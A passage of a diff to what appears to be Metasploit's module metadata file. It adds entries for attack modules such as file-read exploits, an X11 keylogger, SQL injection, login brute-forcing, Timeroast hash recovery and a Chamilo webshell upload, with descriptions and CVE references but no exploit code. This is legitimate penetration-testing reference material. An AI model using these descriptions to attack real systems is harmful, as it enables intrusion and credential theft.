+ "URL-https://herolab.usd.de/security-advisories/usd-2022-0008/",
+ "URL-https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 9877,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2024-11-26 16:10:14 +0000",
+ "path": "/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb",
+ "is_install_path": true,
+ "ref_name": "gather/acronis_cyber_protect_machine_info_disclosure",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_gather/adobe_coldfusion_fileread_cve_2023_26360": {
"name": "Adobe ColdFusion Unauthenticated Arbitrary File Read",
"fullname": "auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360",
@@ -20135,6 +20398,68 @@
}
]
},
+ "auxiliary_gather/argus_dvr_4_lfi_cve_2018_15745": {
+ "name": "Argus Surveillance DVR 4.0.0.0 - Directory Traversal",
+ "fullname": "auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "Maxwell Francis",
+ "John Page"
+ ],
+ "description": "This module leverages an unauthenticated arbitrary file read for\n the Argus Surveillance 4.0.0.0 system which never saw an update since.\n As this is a Windows related application we recommend looking for common\n Windows file locations, especially C:\\ProgramData\\PY_Software\\Argus Surveillance DVR\\DVRParams.ini\n which houses another vulnerability in the Argus Surveillance system. This directory traversal vuln\n is being tracked as CVE-2018-15745",
+ "references": [
+ "URL-https://argus-surveillance-dvr.soft112.com/#google_vignette",
+ "EDB-45296",
+ "CVE-2018-15745"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 8080,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2025-01-31 12:49:35 +0000",
+ "path": "/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb",
+ "is_install_path": true,
+ "ref_name": "gather/argus_dvr_4_lfi_cve_2018_15745",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+
+ ],
+ "Reliability": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_gather/asrep": {
"name": "Find Users Without Pre-Auth Required (ASREP-roast)",
"fullname": "auxiliary/gather/asrep",
@@ -23688,7 +24013,7 @@
"alanfoster",
"sjanusz-r7"
],
- "description": "This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes\n the different responses returned by the service for valid and invalid users.",
+ "description": "This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes\n the different responses returned by the service for valid and invalid users. This module can also detect accounts\n that are vulnerable to ASREPRoast attacks.",
"references": [
"URL-https://nmap.org/nsedoc/scripts/krb5-enum-users.html"
],
@@ -23702,7 +24027,7 @@
],
"targets": null,
- "mod_time": "2022-05-27 13:34:10 +0000",
+ "mod_time": "2024-11-12 13:34:51 +0000",
"path": "/modules/auxiliary/gather/kerberos_enumusers.rb",
"is_install_path": true,
"ref_name": "gather/kerberos_enumusers",
@@ -23831,9 +24156,10 @@
"type": "auxiliary",
"author": [
"Grant Willcox",
- "Spencer McIntyre"
+ "Spencer McIntyre",
+ "jheysel-r7"
],
- "description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC13,\n and ESC15. The module is limited to checking for these techniques due to them being identifiable remotely from\n a normal user account by analyzing the objects in LDAP.",
+ "description": "This module allows users to query a LDAP server for vulnerable certificate\n templates and will print these certificates out in a table along with which\n attack they are vulnerable to and the SIDs that can be used to enroll in that\n certificate template.\n\n Additionally the module will also print out a list of known certificate servers\n along with info about which vulnerable certificate templates the certificate server\n allows enrollment in and which SIDs are authorized to use that certificate server to\n perform this enrollment operation.\n\n Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,\n ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable\n remotely from a normal user account by analyzing the objects in LDAP.",
"references": [
"URL-https://posts.specterops.io/certified-pre-owned-d95910965cd2",
"URL-https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53",
@@ -23849,7 +24175,7 @@
],
"targets": null,
- "mod_time": "2024-10-10 09:24:48 +0000",
+ "mod_time": "2025-01-31 14:48:57 +0000",
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
"is_install_path": true,
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
@@ -23961,7 +24287,7 @@
],
"targets": null,
- "mod_time": "2024-05-02 13:57:13 +0000",
+ "mod_time": "2025-01-22 16:15:52 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
@@ -24076,6 +24402,10 @@
"name": "ENUM_ORGUNITS",
"description": "Dump info about all known organizational units in the LDAP environment."
},
+ {
+ "name": "ENUM_PRE_WINDOWS_2000_COMPUTERS",
+ "description": "Dump info about all computer objects likely created as a \"pre-Windows 2000 computer\", for which the password might be predictable."
+ },
{
"name": "ENUM_UNCONSTRAINED_DELEGATION",
"description": "Dump info about all known objects that allow unconstrained delegation."
@@ -25145,6 +25475,67 @@
]
},
+ "auxiliary_gather/onedev_arbitrary_file_read": {
+ "name": "OneDev Unauthenticated Arbitrary File Read",
+ "fullname": "auxiliary/gather/onedev_arbitrary_file_read",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2024-10-19",
+ "type": "auxiliary",
+ "author": [
+ "vultza",
+ "Siebene"
+ ],
+ "description": "This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.\n To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor\n can view existing projects without authentication.\n However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.\n By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.",
+ "references": [
+ "CVE-2024-45309",
+ "URL-https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2025-01-06 18:48:26 +0000",
+ "path": "/modules/auxiliary/gather/onedev_arbitrary_file_read.rb",
+ "is_install_path": true,
+ "ref_name": "gather/onedev_arbitrary_file_read",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_gather/opennms_xxe": {
"name": "OpenNMS Authenticated XXE",
"fullname": "auxiliary/gather/opennms_xxe",
@@ -25508,7 +25899,8 @@
],
"description": "This module utilizes Prometheus' API calls to gather information about\n the server's configuration, and targets. Fields which may contain\n credentials, or credential file names are then pulled out and printed.\n\n Targets may have a wealth of information, this module will print the following\n values when found:\n __meta_gce_metadata_ssh_keys, __meta_gce_metadata_startup_script,\n __meta_gce_metadata_kube_env, kubernetes_sd_configs,\n _meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration,\n __meta_ec2_tag_CreatedBy, __meta_ec2_tag_OwnedBy\n\n Shodan search: \"http.favicon.hash:-1399433489\"",
"references": [
- "URL-https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/"
+ "URL-https://jfrog.com/blog/dont-let-prometheus-steal-your-fire/",
+ "URL-https://www.aquasec.com/blog/300000-prometheus-servers-and-exporters-exposed-to-dos-attacks/"
],
"platform": "",
"arch": "",
@@ -25529,7 +25921,7 @@
"https"
],
"targets": null,
- "mod_time": "2023-08-15 18:04:59 +0000",
+ "mod_time": "2025-01-15 17:54:20 +0000",
"path": "/modules/auxiliary/gather/prometheus_api_gather.rb",
"is_install_path": true,
"ref_name": "gather/prometheus_api_gather",
@@ -25568,7 +25960,8 @@
"description": "This modules connects to a Prometheus Node Exporter or Windows Exporter service\n and gathers information about the host.\n\n Tested against Docker image 1.6.1, Linux 1.6.1, and Windows 0.23.1",
"references": [
"URL-https://github.com/prometheus/node_exporter",
- "URL-https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/"
+ "URL-https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/",
+ "URL-https://www.aquasec.com/blog/300000-prometheus-servers-and-exporters-exposed-to-dos-attacks/"
],
"platform": "",
"arch": "",
@@ -25589,7 +25982,7 @@
"https"
],
"targets": null,
- "mod_time": "2024-07-24 16:42:43 +0000",
+ "mod_time": "2025-01-15 17:54:20 +0000",
"path": "/modules/auxiliary/gather/prometheus_node_exporter_gather.rb",
"is_install_path": true,
"ref_name": "gather/prometheus_node_exporter_gather",
@@ -26434,6 +26827,66 @@
]
},
+ "auxiliary_gather/selenium_file_read": {
+ "name": "Selenium arbitrary file read",
+ "fullname": "auxiliary/gather/selenium_file_read",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2020-10-01",
+ "type": "auxiliary",
+ "author": [
+ "Jon Stratton",
+ "Takahiro Yokoyama"
+ ],
+ "description": "If there is an open selenium web driver, a remote attacker can send requests to the victims browser.\n In certain cases this can be used to access to the remote file system.",
+ "references": [
+ "URL-https://github.com/JonStratton/selenium-node-takeover-kit"
+ ],
+ "platform": "Cisco",
+ "arch": "",
+ "rport": 4444,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2025-01-08 21:09:22 +0000",
+ "path": "/modules/auxiliary/gather/selenium_file_read.rb",
+ "is_install_path": true,
+ "ref_name": "gather/selenium_file_read",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_gather/shodan_honeyscore": {
"name": "Shodan Honeyscore Client",
"fullname": "auxiliary/gather/shodan_honeyscore",
@@ -27363,7 +27816,8 @@
"author": [
"Alberto Solino",
"Christophe De La Fuente",
- "antuache"
+ "antuache",
+ "smashery"
],
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. This is\n done by remotely updating the registry key security descriptor,\n taking advantage of the WriteDACL privileges held by local\n administrators to set temporary read permissions.\n\n This can be disabled by setting the `INLINE` option to false and the\n module will fallback to the original implementation, which consists\n in saving the registry hives locally on the target\n (%SYSTEMROOT%\\Temp\\.tmp), downloading the temporary hive\n files and reading the data from it. This temporary files are removed\n when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
"references": [
@@ -27381,7 +27835,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2024-04-30 20:52:23 +0000",
+ "mod_time": "2024-12-16 14:55:10 +0000",
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
"is_install_path": true,
"ref_name": "gather/windows_secrets_dump",
@@ -27517,7 +27971,7 @@
"https"
],
"targets": null,
- "mod_time": "2022-11-15 09:08:38 +0000",
+ "mod_time": "2024-12-29 17:25:12 +0000",
"path": "/modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb",
"is_install_path": true,
"ref_name": "gather/wp_bookingpress_category_services_sqli",
@@ -27645,6 +28099,64 @@
]
},
+ "auxiliary_gather/x11_keyboard_spy": {
+ "name": "X11 Keylogger",
+ "fullname": "auxiliary/gather/x11_keyboard_spy",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "1997-07-01",
+ "type": "auxiliary",
+ "author": [
+ "h00die",
+ "nir tzachar"
+ ],
+ "description": "This module binds to an open X11 host to log keystrokes. This is a fairly\n close copy of the old xspy c program which has been on Kali for a long time.\n The module works by connecting to the X11 session, creating a background\n window, binding a keyboard to it and creating a notification alert when a key\n is pressed.\n\n One of the major limitations of xspy, and thus this module, is that it polls\n at a very fast rate, faster than a key being pressed is released (especially before\n the repeat delay is hit). To combat printing multiple characters for a single key\n press, repeat characters arent printed when typed in a very fast manor. This is also\n an imperfect keylogger in that keystrokes arent stored and forwarded but status\n displayed at poll time. Keys may be repeated or missing.",
+ "references": [
+ "URL-https://www.kali.org/tools/xspy/",
+ "CVE-1999-0526"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 6000,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": null,
+ "mod_time": "2024-11-27 14:29:44 +0000",
+ "path": "/modules/auxiliary/gather/x11_keyboard_spy.rb",
+ "is_install_path": true,
+ "ref_name": "gather/x11_keyboard_spy",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+
+ ],
+ "AKA": [
+ "xspy"
+ ],
+ "RelatedModules": [
+ "auxiliary/scanner/x11/open_x11"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_gather/xbmc_traversal": {
"name": "XBMC Web Server Directory Traversal",
"fullname": "auxiliary/gather/xbmc_traversal",
@@ -28859,7 +29371,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2023-12-15 13:40:55 +0000",
+ "mod_time": "2025-01-27 08:35:00 +0000",
"path": "/modules/auxiliary/scanner/dcerpc/petitpotam.rb",
"is_install_path": true,
"ref_name": "scanner/dcerpc/petitpotam",
@@ -41979,6 +42491,70 @@
]
},
+ "auxiliary_scanner/http/strapi_3_password_reset": {
+ "name": "Strapi CMS Unauthenticated Password Reset",
+ "fullname": "auxiliary/scanner/http/strapi_3_password_reset",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2022-02-09",
+ "type": "auxiliary",
+ "author": [
+ "WackyH4cker",
+ "h00die"
+ ],
+ "description": "This module abuses the mishandling of a password reset request for\n Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user.\n\n Successfully tested against Strapi CMS version 3.0.0-beta.17.4.",
+ "references": [
+ "URL-https://vulners.com/cve/CVE-2019-18818",
+ "URL-https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.4",
+ "URL-https://github.com/strapi/strapi/pull/4443",
+ "CVE-2019-18818",
+ "EDB-50716"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2024-11-16 15:47:54 +0000",
+ "path": "/modules/auxiliary/scanner/http/strapi_3_password_reset.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/http/strapi_3_password_reset",
+ "check": false,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_scanner/http/support_center_plus_directory_traversal": {
"name": "ManageEngine Support Center Plus Directory Traversal",
"fullname": "auxiliary/scanner/http/support_center_plus_directory_traversal",
@@ -44989,7 +45565,7 @@
"https"
],
"targets": null,
- "mod_time": "2024-10-14 11:14:47 +0000",
+ "mod_time": "2024-12-29 17:25:12 +0000",
"path": "/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_fastest_cache_sqli",
@@ -45562,6 +46138,67 @@
}
]
},
+ "auxiliary_scanner/http/wp_perfect_survey_sqli": {
+ "name": "WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)",
+ "fullname": "auxiliary/scanner/http/wp_perfect_survey_sqli",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2021-10-05",
+ "type": "auxiliary",
+ "author": [
+ "Aaryan Golatkar",
+ "Ron Jost"
+ ],
+ "description": "This module exploits a SQL injection vulnerability in the Perfect Survey\n plugin for WordPress (version 1.5.1). An unauthenticated attacker can\n exploit the SQLi to retrieve sensitive information such as usernames,\n emails, and password hashes from the `wp_users` table.",
+ "references": [
+ "EDB-50766",
+ "CVE-2021-24762"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2024-12-29 17:25:12 +0000",
+ "path": "/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/http/wp_perfect_survey_sqli",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_scanner/http/wp_registrationmagic_sqli": {
"name": "Wordpress RegistrationMagic task_ids Authenticated SQLi",
"fullname": "auxiliary/scanner/http/wp_registrationmagic_sqli",
@@ -45966,7 +46603,7 @@
"https"
],
"targets": null,
- "mod_time": "2024-10-29 19:41:47 +0000",
+ "mod_time": "2024-12-29 17:25:12 +0000",
"path": "/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_ultimate_member_sorting_sqli",
@@ -46693,6 +47330,66 @@
]
},
+ "auxiliary_scanner/ivanti/login_scanner": {
+ "name": "Ivanti Connect Secure HTTP Scanner",
+ "fullname": "auxiliary/scanner/ivanti/login_scanner",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "msutovsky-r7"
+ ],
+ "description": "This module will perform authentication scanning against Ivanti Connect Secure",
+ "references": [
+
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2025-02-03 06:34:49 +0000",
+ "path": "/modules/auxiliary/scanner/ivanti/login_scanner.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/ivanti/login_scanner",
+ "check": false,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "account-lockouts"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_scanner/jenkins/jenkins_udp_broadcast_enum": {
"name": "Jenkins Server Broadcast Enumeration",
"fullname": "auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum",
@@ -46860,7 +47557,7 @@
],
"targets": null,
- "mod_time": "2024-10-10 17:17:02 +0000",
+ "mod_time": "2025-01-29 11:10:30 +0000",
"path": "/modules/auxiliary/scanner/ldap/ldap_login.rb",
"is_install_path": true,
"ref_name": "scanner/ldap/ldap_login",
@@ -49654,7 +50351,7 @@
],
"platform": "",
"arch": "",
- "rport": 123,
+ "rport": null,
"autofilter_ports": [
],
@@ -49662,7 +50359,7 @@
],
"targets": null,
- "mod_time": "2022-01-23 15:28:32 +0000",
+ "mod_time": "2024-12-13 13:36:14 +0000",
"path": "/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb",
"is_install_path": true,
"ref_name": "scanner/ntp/ntp_nak_to_the_future",
@@ -49935,6 +50632,58 @@
]
},
+ "auxiliary_scanner/ntp/timeroast": {
+ "name": "NTP Timeroast",
+ "fullname": "auxiliary/scanner/ntp/timeroast",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "Tom Tervoort",
+ "Spencer McIntyre"
+ ],
+ "description": "Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first\n 48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes\n that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but\n because RIDs are sequential, they can easily be enumerated.",
+ "references": [
+ "URL-https://github.com/SecuraBV/Timeroast/",
+ "URL-https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 123,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": null,
+ "mod_time": "2024-12-19 17:12:39 +0000",
+ "path": "/modules/auxiliary/scanner/ntp/timeroast.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/ntp/timeroast",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_scanner/openvas/openvas_gsad_login": {
"name": "OpenVAS gsad Web Interface Login Utility",
"fullname": "auxiliary/scanner/openvas/openvas_gsad_login",
@@ -55256,7 +56005,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2024-09-26 01:57:32 +0000",
+ "mod_time": "2024-12-16 14:55:10 +0000",
"path": "/modules/auxiliary/scanner/smb/pipe_auditor.rb",
"is_install_path": true,
"ref_name": "scanner/smb/pipe_auditor",
@@ -55301,7 +56050,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2024-10-13 13:38:05 +0000",
+ "mod_time": "2024-12-16 14:55:10 +0000",
"path": "/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb",
"is_install_path": true,
"ref_name": "scanner/smb/pipe_dcerpc_auditor",
@@ -55397,7 +56146,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2024-02-02 14:26:43 +0000",
+ "mod_time": "2024-12-16 14:55:10 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enum_gpp",
@@ -55447,7 +56196,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2024-02-02 14:26:43 +0000",
+ "mod_time": "2024-12-16 14:55:10 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enumshares.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enumshares",
@@ -55587,7 +56336,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2024-06-03 11:02:15 +0000",
+ "mod_time": "2025-01-29 11:10:30 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_login",
@@ -55790,7 +56539,7 @@
"microsoft-ds"
],
"targets": null,
- "mod_time": "2024-05-07 10:54:35 +0000",
+ "mod_time": "2024-11-11 12:33:11 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_version",
@@ -56879,7 +57628,7 @@
],
"targets": null,
- "mod_time": "2024-06-03 11:02:15 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/eaton_xpert_backdoor",
@@ -56925,7 +57674,7 @@
],
"targets": null,
- "mod_time": "2024-06-03 11:02:15 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/fortinet_backdoor",
@@ -57057,7 +57806,7 @@
],
"targets": null,
- "mod_time": "2024-06-03 11:02:15 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/libssh_auth_bypass",
@@ -57649,6 +58398,67 @@
]
},
+ "auxiliary_scanner/teamcity/teamcity_login": {
+ "name": "JetBrains TeamCity Login Scanner",
+ "fullname": "auxiliary/scanner/teamcity/teamcity_login",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": null,
+ "type": "auxiliary",
+ "author": [
+ "adfoster-r7",
+ "sjanusz-r7"
+ ],
+ "description": "This module performs login attempts against a JetBrains TeamCity webpage to bruteforce possible credentials.",
+ "references": [
+
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 8111,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": null,
+ "mod_time": "2024-12-17 14:27:41 +0000",
+ "path": "/modules/auxiliary/scanner/teamcity/teamcity_login.rb",
+ "is_install_path": true,
+ "ref_name": "scanner/teamcity/teamcity_login",
+ "check": false,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "account-lockouts"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": false,
+ "actions": [
+
+ ]
+ },
"auxiliary_scanner/telephony/wardial": {
"name": "Wardialer",
"fullname": "auxiliary/scanner/telephony/wardial",
@@ -59685,7 +60495,8 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
- "tebo "
+ "tebo ",
+ "h00die"
],
"description": "This module scans for X11 servers that allow anyone\n to connect without authentication.",
"references": [
@@ -59702,7 +60513,7 @@
],
"targets": null,
- "mod_time": "2017-07-24 06:26:21 +0000",
+ "mod_time": "2024-11-27 14:29:44 +0000",
"path": "/modules/auxiliary/scanner/x11/open_x11.rb",
"is_install_path": true,
"ref_name": "scanner/x11/open_x11",
@@ -59710,6 +60521,18 @@
"post_auth": false,
"default_credential": false,
"notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+
+ ],
+ "Reliability": [
+
+ ],
+ "RelatedModules": [
+ "auxiliary/gather/x11_keyboard_spy"
+ ]
},
"session_types": false,
"needs_cleanup": false,
@@ -61554,7 +62377,7 @@
"https"
],
"targets": null,
- "mod_time": "2024-11-04 13:37:23 +0000",
+ "mod_time": "2025-02-04 15:41:33 +0000",
"path": "/modules/auxiliary/server/relay/esc8.rb",
"is_install_path": true,
"ref_name": "server/relay/esc8",
@@ -66909,7 +67732,7 @@
"targets": [
"Apple iOS"
],
- "mod_time": "2022-04-18 23:36:23 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb",
"is_install_path": true,
"ref_name": "apple_ios/ssh/cydia_default_ssh",
@@ -67352,7 +68175,7 @@
"PHP In-Memory",
"Interactive SSH with jail break"
],
- "mod_time": "2024-06-14 10:45:19 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb",
"is_install_path": true,
"ref_name": "freebsd/http/junos_phprc_auto_prepend_file",
@@ -70331,6 +71154,67 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_linux/http/chamilo_bigupload_webshell": {
+ "name": "Chamilo v1.11.24 Unrestricted File Upload PHP Webshell",
+ "fullname": "exploit/linux/http/chamilo_bigupload_webshell",
+ "aliases": [
+
+ ],
+ "rank": 600,
